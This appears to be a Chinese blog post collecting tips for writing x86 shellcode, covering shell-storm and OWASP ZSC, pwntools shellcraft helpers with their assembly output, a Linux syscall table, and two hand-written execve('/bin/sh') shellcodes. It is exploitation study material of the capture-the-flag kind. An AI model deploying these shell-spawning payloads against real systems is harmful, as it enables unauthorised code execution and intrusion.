记录点写shellcode的小技巧~
shellstorm 获取shellcode,首先当然是网上找呀,这里机上shellstorm ,神奇的是他还提供了api呢!于是很多工具都能够调用获取它的sc,例如peda插件的shellcode指令。
owasp zsc 支持生成Linux,osx,windows的shellcode,也支持调用shellstorm与混淆现有exp,方法就是help+tab,反正很好用啦~
测试shellcode 1 run_assembly(asmTypeShellcode)
简 breakpoint 1 2 In [11 ]: print shellcraft.breakpoint() int3
trap 1 2 In [48 ]: print shellcraft.trap() int3
crash 1 2 3 4 In [12 ]: print shellcraft.crash() popad /* fill all registers with shit */ xor esp, esp /* especially esp */ jmp esp /* boom */
nop 1 2 In [19 ]: print shellcraft.nop() nop
prolog epilog 1 2 3 4 5 6 7 In [20 ]: print shellcraft.prolog() push ebp mov ebp, esp In [14 ]: print shellcraft.epilog(3 ) leave ret 3 *4
getpc 1 2 3 4 5 In [16 ]: print shellcraft.getpc('eax' ) call INC_EBX .equ INC_EBX, $-1 ret pop eax
infloop 1 2 In [17 ]: print shellcraft.infloop() jmp $
ret 1 2 3 4 5 In [21 ]: print shellcraft.ret(4 ) push 4 pop eax ret
mov mov,不会出现null与换行符
1 2 3 4 5 In [37 ]: print shellcraft.mov('eax' ,0x12345678 ) push 0x12345678 pop eax In [38 ]: print shellcraft.mov('eax' ,0x12345678 ,stack_allowed=False ) mov eax, 0x12345678
push 将数字或者字符串放在栈上,不使用null与换行符
1 2 3 4 5 6 7 8 9 10 In [39 ]: print shellcraft.push('SYS_sendfile' ) /* push SYS_sendfile (0xbb ) */ push 0x1010101 xor dword ptr [esp], 0x10101ba In [40 ]: print shellcraft.push('/bin/sh' ) /* push '/bin/sh' */ push 0x1010101 xor dword ptr [esp], 0x169722e push 0x6e69622f
pushstr 同上
pushstr_array 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 In [43 ]: print shellcraft.pushstr_array('eax' ,['str1' ,'str2' ,'str3' ]) /* push argument array ['str1\x00' , 'str2\x00' , 'str3\x00' ] */ /* push 'str1\x00str2\x00str3\x00\x00' */ push 0x1010101 xor dword ptr [esp], 0x1013273 push 0x1010101 xor dword ptr [esp], 0x75720133 push 0x1010101 xor dword ptr [esp], 0x73757201 push 0x31727473 xor eax, eax push eax /* null terminate */ push 0xe pop eax add eax, esp push eax /* 'str3\x00' */ push 0xd pop eax add eax, esp push eax /* 'str2\x00' */ push 0xc pop eax add eax, esp push eax /* 'str1\x00' */ mov eax, esp
setregs 1 2 3 4 In [44 ]: print shellcraft.setregs({'eax' :1 , 'ebx' :'eax' }) mov ebx, eax push 1 pop eax
xor 1 2 3 4 5 6 7 8 9 10 11 12 In [49 ]: print shellcraft.xor('keys' ,0x12345678 ,32 ) /* xor('keys' , 0x12345678 , 0x20 ) */ push 0x20 pop eax push 0x12345678 pop ecx add eax, ecx start_15: xor DWORD PTR [ecx], 0x7379656b add ecx, 4 cmp ecx, eax jb start_15
i386_<->_amd64 转换执行,这可以绕过一些过滤
复 cat 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 In [24 ]: print shellcraft.cat('os.c' ) /* push 'os.c\x00' */ push 1 dec byte ptr [esp] push 0x632e736f /* open(file='esp' , oflag=0 , mode='O_RDONLY' ) */ mov ebx, esp xor ecx, ecx xor edx, edx /* call open() */ push SYS_open /* 5 */ pop eax int 0x80 /* sendfile(out_fd=1 , in_fd='eax' , offset=0 , count=2147483647 ) */ push 1 pop ebx mov ecx, eax xor edx, edx push 0x7fffffff pop esi /* call sendfile() */ xor eax, eax mov al, 0xbb int 0x80
echo (string, sock=’1’)
readfile (path,dst=’esi’)
readn (fd, buf, nbytes)
setregid/setreuid sh stage (fd=0, length=None)
acceptloop_ipv4 等待连接,返回的socket被曝存在在ebp里面,只支持ipv4
connect connect(host, port, network=’ipv4’)
mprotect_all function 将pwntools提供的模板转换成函数,其实就是加了一个prolog()+epilog()
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 [25 ]: print shellcraft.function('write' , shellcraft.i386.linux.write, ) /* write() */ write: /* Save stack */ push ebp mov ebp, esp /* Load arguments */ /* write(fd=0 , buf=0 , n=0 ) */ xor ebx, ebx xor ecx, ecx xor edx, edx /* call write() */ push SYS_write /* 4 */ pop eax int 0x80 /* Restore stack */ leave ret
memcpy 内存拷贝
1 2 3 4 5 6 7 8 9 10 11 In [33 ]: print shellcraft.memcpy(0x1234 ,0x4321 ,10 ) /* memcpy(0x1234 , 0x4321 , 0xa ) */ cld push 9 /* mov ecx, '\n' */ pop ecx inc ecx xor edi, edi mov di, 0x1234 xor esi, esi mov si, 0x4321 rep movsb
strcpy 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 In [45 ]: print shellcraft.strcpy('eax' ,0x12345678 ) mov edi, eax push 0x12345678 pop esi push edi xor eax, eax push -1 pop ecx mov edi, esi repnz scas al, BYTE PTR [edi] inc ecx inc ecx neg ecx /* moving ecx into ecx, but this is a no-op */ pop edi inc ecx rep movs BYTE PTR [edi], BYTE PTR [esi]
strlen 1 2 3 4 5 6 7 8 9 10 11 In [47 ]: print shellcraft.strlen(0x1234567 ,'eax' ) xor eax, eax push -1 pop ecx push 0x1234567 pop edi repnz scas al, BYTE PTR [edi] inc ecx inc ecx neg ecx mov eax, ecx
dir dupio dupsh egghunter (egg, start_address = 0)搜索egg地址,返回值为第一个匹配项,被存入RDI
手肝 调用表 这才是写本篇的目的,要手写,当然要先祭出系统调用表咯:
1 2 3 4 5 arch/ABI instruction syscall # retval error Notes ──────────────────────────────────────────────────────────────────── i386 int $0x80 eax eax - x86-64 syscall rax rax - [5] x32 syscall rax rax - [5]
1 2 3 4 5 arch/ABI arg1 arg2 arg3 arg4 arg5 arg6 arg7 Notes ────────────────────────────────────────────────────────────── i386 ebx ecx edx esi edi ebp - x86-64 rdi rsi rdx r10 r8 r9 - x32 rdi rsi rdx r10 r8 r9 -
%rax
System call
%rdi
%rsi
%rdx
%r10
%r8
%r9
0
sys_read
unsigned int fd
char *buf
size_t count
1
sys_write
unsigned int fd
const char *buf
size_t count
2
sys_open
const char *filename
int flags
int mode
9
sys_mmap
unsigned long addr
unsigned long len
unsigned long prot
unsigned long flags
unsigned long fd
unsigned long off
10
sys_mprotect
unsigned long start
size_t len
unsigned long prot
11
sys_munmap
unsigned long addr
size_t len
15
sys_rt_sigreturn
unsigned long __unused
37
sys_alarm
unsigned int seconds
56
sys_clone
unsigned long clone_flags
unsigned long newsp
void *parent_tid
void *child_tid
57
sys_fork
59
sys_execve
const char *filename
const char *const argv[]
const char *const envp[]
60
sys_exit
int error_code
62
sys_kill
pid_t pid
int sig
101
sys_ptrace
long request
long pid
unsigned long addr
unsigned long data
157
sys_prctl
int option
unsigned long arg2
unsigned long arg3
unsigned long arg4
unsigned long arg5
161
sys_chroot
const char *filename
317
sys_seccomp
unsigned int op
unsigned int flags
const char __user *uargs
322
stub_execveat
int dfd
const char __user *filename
const char __user *const __user *argv
const char __user *const __user *envp
int flags
### sh
这样:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 [section .data] global _start _start: jmp sh se: pop ebx xor eax,eax xor ecx,ecx xor edx,edx mov al,11 int 0x80 sh: call se db '/bin/sh',0
或者这样:
1 2 3 4 5 6 7 8 9 10 11 12 13 [section .data] global _start _start: push 0x68 $保证后面有0 push 0x732f2f2f push 0x6e69622f mov ebx, esp xor eax,eax xor ecx,ecx xor edx,edx mov al,11 $这里使用pushpop可以缩短一字节 int 0x80
在长度不够的时候可以先调用read溢出更长。
### alphanumeric
参考
[1] [2] [3] [4]https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_32.tbl [5]https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_64.tbl [6]http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/ [7]https://www.informatik.htw-dresden.de/~beck/ASM/syscall_list.html